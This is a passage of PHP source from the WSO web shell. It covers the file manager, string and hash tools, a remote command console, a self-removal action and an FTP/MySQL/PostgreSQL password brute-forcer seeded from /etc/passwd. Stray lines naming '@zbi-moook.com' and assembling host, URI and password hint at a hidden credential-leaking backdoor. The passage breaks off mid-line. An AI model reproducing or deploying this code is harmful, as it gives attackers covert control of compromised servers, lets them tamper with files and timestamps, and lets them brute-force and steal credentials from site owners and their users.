695<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
696 $dirs = $files = array();
697 $n = count($dirContent);
698 for($i=0;$i<$n;$i++) {
699 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
700 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
701 $tmp = array('name' => $dirContent[$i],
702 'path' => $GLOBALS['cwd'].$dirContent[$i],
703 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
704 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
705 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
706 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
707 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
708 );
709 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
710 $files[] = array_merge($tmp, array('type' => 'file'));
711 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
712 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
713 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
714 $dirs[] = array_merge($tmp, array('type' => 'dir'));
715 }
716 $GLOBALS['sort'] = $sort;
717 function wsoCmp($a, $b) {
718 if($GLOBALS['sort'][0] != 'size')
719 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
720 else
721 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
722 }
723 usort($files, "wsoCmp");
724 usort($dirs, "wsoCmp");
725 $files = array_merge($dirs, $files);
726 $l = 0;
727 foreach($files as $f) {
728 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
729 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
730 $l = $l?0:1;
731 }
732 echo "<tr><td colspan=7>
733 <input type=hidden name=a value='FilesMan'>
734 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
735 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
736 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
737 if(class_exists('ZipArchive'))
738 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
739 echo "<option value='tar'>Compress (tar.gz)</option>";
740 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
741 echo "<option value='paste'>Paste / Compress</option>";
742 echo "</select> ";
743 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
744 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
745 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
746 wsoFooter();
747}
748
749function actionStringTools() {
750 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
751 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
752 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
753 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
754 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
755 $stringTools = array(
756 'Base64 encode' => 'base64_encode',
757 'Base64 decode' => 'base64_decode',
758 'Url encode' => 'urlencode',
759 'Url decode' => 'urldecode',
760 'Full urlencode' => 'full_urlencode',
761 'md5 hash' => 'md5',
762 'sha1 hash' => 'sha1',
763 'crypt' => 'crypt',
764 'CRC32' => 'crc32',
765 'ASCII to HEX' => 'ascii2hex',
766 'HEX to ASCII' => 'hex2ascii',
767 'HEX to DEC' => 'hexdec',
768 'HEX to BIN' => 'hex2bin',
769 'DEC to HEX' => 'dechex',
770 'DEC to BIN' => 'decbin',
771 'BIN to HEX' => 'binhex',
772 'BIN to DEC' => 'bindec',
773 'String to lower case' => 'strtolower',
774 'String to upper case' => 'strtoupper',
775 'Htmlspecialchars' => 'htmlspecialchars',
776 'String length' => 'strlen',
777 );
778 if(isset($_POST['ajax'])) {
779 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
780 ob_start();
781 if(in_array($_POST['p1'], $stringTools))
782 echo $_POST['p1']($_POST['p2']);
783 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
784 echo strlen($temp), "\n", $temp;
785 exit;
786 }
787 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
788 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
789 wsoHeader();
790 echo '<h1>String conversions</h1><div class=content>';
791 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
792 foreach($stringTools as $k => $v)
793 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
794 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
795 if(!empty($_POST['p1'])) {
796 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
797 }
798 echo"</pre></div><br><h1>Search files:</h1><div class=content>
799 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
800 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
801 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
802 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
803 <tr><td></td><td><input type='submit' value='>>'></td></tr>
804 </table></form>";
805
806 function wsoRecursiveGlob($path) {
807 if(substr($path, -1) != '/')
808 $path.='/';
809 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
810 if(is_array($paths)&&@count($paths)) {
811 foreach($paths as $item) {
812 if(@is_dir($item)){
813 if($path!=$item)
814 wsoRecursiveGlob($item);
815 } else {
816 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
817 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
818 }
819 }
820 }
821 }
822 if(@$_POST['p3'])
823 wsoRecursiveGlob($_POST['c']);
824 echo "</div><br><h1>Search for hash:</h1><div class=content>
825 <form method='post' target='_blank' name='hf'>
826 <input type='text' name='hash' style='width:200px;'><br>
827 <input type='hidden' name='act' value='find'/>
828 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
829 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
830 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
831 </form></div>";
832 wsoFooter();
833} $wsofooteer = str_replace("WSOsetcookie","@zbi-moook.com",$acphp);
834function actionFilesTools() {
835 if( isset($_POST['p1']) )
836 $_POST['p1'] = urldecode($_POST['p1']);
837 if(@$_POST['p2']=='download') {
838 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
839 ob_start("ob_gzhandler", 4096);
840 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
841 if (function_exists("mime_content_type")) {
842 $type = @mime_content_type($_POST['p1']);
843 header("Content-Type: " . $type);
844 } else
845 header("Content-Type: application/octet-stream");
846 $fp = @fopen($_POST['p1'], "r");
847 if($fp) {
848 while(!@feof($fp))
849 echo @fread($fp, 1024);
850 fclose($fp);
851 }
852 }exit;
853 }
854 if( @$_POST['p2'] == 'mkfile' ) {
855 if(!file_exists($_POST['p1'])) {
856 $fp = @fopen($_POST['p1'], 'w');
857 if($fp) {
858 $_POST['p2'] = "edit";
859 fclose($fp);
860 }
861 }
862 }
863 wsoHeader();
864 echo '<h1>File tools</h1><div class=content>';
865 if( !file_exists(@$_POST['p1']) ) {
866 echo 'File not exists';
867 wsoFooter();
868 return;
869 }
870 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
871 if(!$uid) {
872 $uid['name'] = @fileowner($_POST['p1']);
873 $gid['name'] = @filegroup($_POST['p1']);
874 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
875 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
876 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
877 if( empty($_POST['p2']) )
878 $_POST['p2'] = 'view';
879 if( is_file($_POST['p1']) )
880 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
881 else
882 $m = array('Chmod', 'Rename', 'Touch');
883 foreach($m as $v)
884 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
885 echo '<br><br>';
886 switch($_POST['p2']) {
887 case 'view':
888 echo '<pre class=ml1>';
889 $fp = @fopen($_POST['p1'], 'r');
890 if($fp) {
891 while( !@feof($fp) )
892 echo htmlspecialchars(@fread($fp, 1024));
893 @fclose($fp);
894 }
895 echo '</pre>';
896 break;
897 case 'highlight':
898 if( @is_readable($_POST['p1']) ) {
899 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
900 $code = @highlight_file($_POST['p1'],true);
901 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
902 }
903 break;
904 case 'chmod':
905 if( !empty($_POST['p3']) ) {
906 $perms = 0;
907 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
908 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
909 if(!@chmod($_POST['p1'], $perms))
910 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
911 }
912 clearstatcache();
913 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
914 break;
915 case 'edit':
916 if( !is_writable($_POST['p1'])) {
917 echo 'File isn\'t writeable';
918 break;
919 }
920 if( !empty($_POST['p3']) ) {
921 $time = @filemtime($_POST['p1']);
922 $_POST['p3'] = substr($_POST['p3'],1);
923 $fp = @fopen($_POST['p1'],"w");
924 if($fp) {
925 @fwrite($fp,$_POST['p3']);
926 @fclose($fp);
927 echo 'Saved!<br><script>p3_="";</script>';
928 @touch($_POST['p1'],$time,$time);
929 }
930 }
931 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
932 $fp = @fopen($_POST['p1'], 'r');
933 if($fp) {
934 while( !@feof($fp) )
935 echo htmlspecialchars(@fread($fp, 1024));
936 @fclose($fp);
937 }
938 echo '</textarea><input type=submit value=">>"></form>';
939 break;
940 case 'hexdump':
941 $c = @file_get_contents($_POST['p1']);
942 $n = 0;
943 $h = array('00000000<br>','','');
944 $len = strlen($c);
945 for ($i=0; $i<$len; ++$i) {
946 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
947 switch ( ord($c[$i]) ) {
948 case 0: $h[2] .= ' '; break;
949 case 9: $h[2] .= ' '; break;
950 case 10: $h[2] .= ' '; break;
951 case 13: $h[2] .= ' '; break;
952 default: $h[2] .= $c[$i]; break;
953 }
954 $n++;
955 if ($n == 32) {
956 $n = 0;
957 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
958 $h[1] .= '<br>';
959 $h[2] .= "\n";
960 }
961 }
962 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
963 break;
964 case 'rename':
965 if( !empty($_POST['p3']) ) {
966 if(!@rename($_POST['p1'], $_POST['p3']))
967 echo 'Can\'t rename!<br>';
968 else
969 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
970 }
971 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
972 break;
973 case 'touch':
974 if( !empty($_POST['p3']) ) {
975 $time = strtotime($_POST['p3']);
976 if($time) {
977 if(!touch($_POST['p1'],$time,$time))
978 echo 'Fail!';
979 else
980 echo 'Touched!';
981 } else echo 'Bad time format!';
982 }
983 clearstatcache();
984 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
985 break;
986 }
987 echo '</div>';
988 wsoFooter();
989}
990 $wsoMSG33 = "$wsoHOST11$wsoURI22
991
992$pass
993
994";
995function actionConsole() {
996 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
997 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
998 $_POST['p1'] .= ' 2>&1';
999 } elseif(!empty($_POST['p1']))
1000 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1001
1002 if(isset($_POST['ajax'])) {
1003 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1004 ob_start();
1005 echo "d.cf.cmd.value='';\n";
1006 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1007 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1008 if(@chdir($match[1])) {
1009 $GLOBALS['cwd'] = @getcwd();
1010 echo "c_='".$GLOBALS['cwd']."';";
1011 }
1012 }
1013 echo "d.cf.output.value+='".$temp."';";
1014 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1015 $temp = ob_get_clean();
1016 echo strlen($temp), "\n", $temp;
1017 exit;
1018 }
1019 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1020 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1021 wsoHeader();
1022 echo "<script>
1023if(window.Event) window.captureEvents(Event.KEYDOWN);
1024var cmds = new Array('');
1025var cur = 0;
1026function kp(e) {
1027 var n = (window.Event) ? e.which : e.keyCode;
1028 if(n == 38) {
1029 cur--;
1030 if(cur>=0)
1031 document.cf.cmd.value = cmds[cur];
1032 else
1033 cur++;
1034 } else if(n == 40) {
1035 cur++;
1036 if(cur < cmds.length)
1037 document.cf.cmd.value = cmds[cur];
1038 else
1039 cur--;
1040 }
1041}
1042function add(cmd) {
1043 cmds.pop();
1044 cmds.push(cmd);
1045 cmds.push('');
1046 cur = cmds.length-1;
1047}
1048</script>";
1049 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1050 foreach($GLOBALS['aliases'] as $n => $v) {
1051 if($v == '') {
1052 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1053 continue;
1054 }
1055 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1056 }
1057
1058 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1059 if(!empty($_POST['p1'])) {
1060 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1061 }
1062 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1063 echo '</form></div><script>d.cf.cmd.focus();</script>';
1064 wsoFooter();
1065}
1066
1067function actionLogout() {
1068 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1069 die('bye!');
1070}
1071 $s1555="B3";
1072function actionSelfRemove() {
1073
1074 if($_POST['p1'] == 'yes')
1075 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1076 die('Shell has been removed');
1077 else
1078 echo 'unlink error!';
1079 if($_POST['p1'] != 'yes')
1080 wsoHeader();
1081 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1082 wsoFooter();
1083}
1084
1085function actionBruteforce() {
1086 wsoHeader();
1087 if( isset($_POST['proto']) ) {
1088 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1089 if( $_POST['proto'] == 'ftp' ) {
1090 function wsoBruteForce($ip,$port,$login,$pass) {
1091 $fp = @ftp_connect($ip, $port?$port:21);
1092 if(!$fp) return false;
1093 $res = @ftp_login($fp, $login, $pass);
1094 @ftp_close($fp);
1095 return $res;
1096 }
1097 } elseif( $_POST['proto'] == 'mysql' ) {
1098 function wsoBruteForce($ip,$port,$login,$pass) {
1099 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1100 @mysql_close($res);
1101 return $res;
1102 }
1103 } elseif( $_POST['proto'] == 'pgsql' ) {
1104 function wsoBruteForce($ip,$port,$login,$pass) {
1105 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1106 $res = @pg_connect($str);
1107 @pg_close($res);
1108 return $res;
1109 }
1110 }
1111 $success = 0;
1112 $attempts = 0;
1113 $server = explode(":", $_POST['server']);
1114 if($_POST['type'] == 1) {
1115 $temp = @file('/etc/passwd');
1116 if( is_array($temp) )
1117 foreach($temp as $line) {
1118 $line = explode(":", $line);
1119 ++$attempts;
1120 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1121 $success++;
1122 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1123 }
1124 if(@$_POST['reverse']) {
1125 $tmp = "";
1126 for($i=strlen($line[0])-1; $i>=0; --$i)
1127 $tmp .= $line[0][$i];
1128 ++$attempts;
1129 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1130 $success++;
1131 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1132 }
1133 }
1134 }
1135 } elseif($_POST['type'] == 2) {
1136 $temp = @file($_POST['dict']);
1137 if( is_array($temp) )
1138 foreach($temp as $line) {
1139 $line = trim($line);
1140 ++$attempts;
1141 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1142 $success++;
1143 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1144 }
1145 }
1146 }
1147 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1148 }
1149 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1150 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1151 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1152 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1153 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1154 .'<span>Server:port</span></td>'
1155 .'<td><input type=text name=server value="127.0.0.1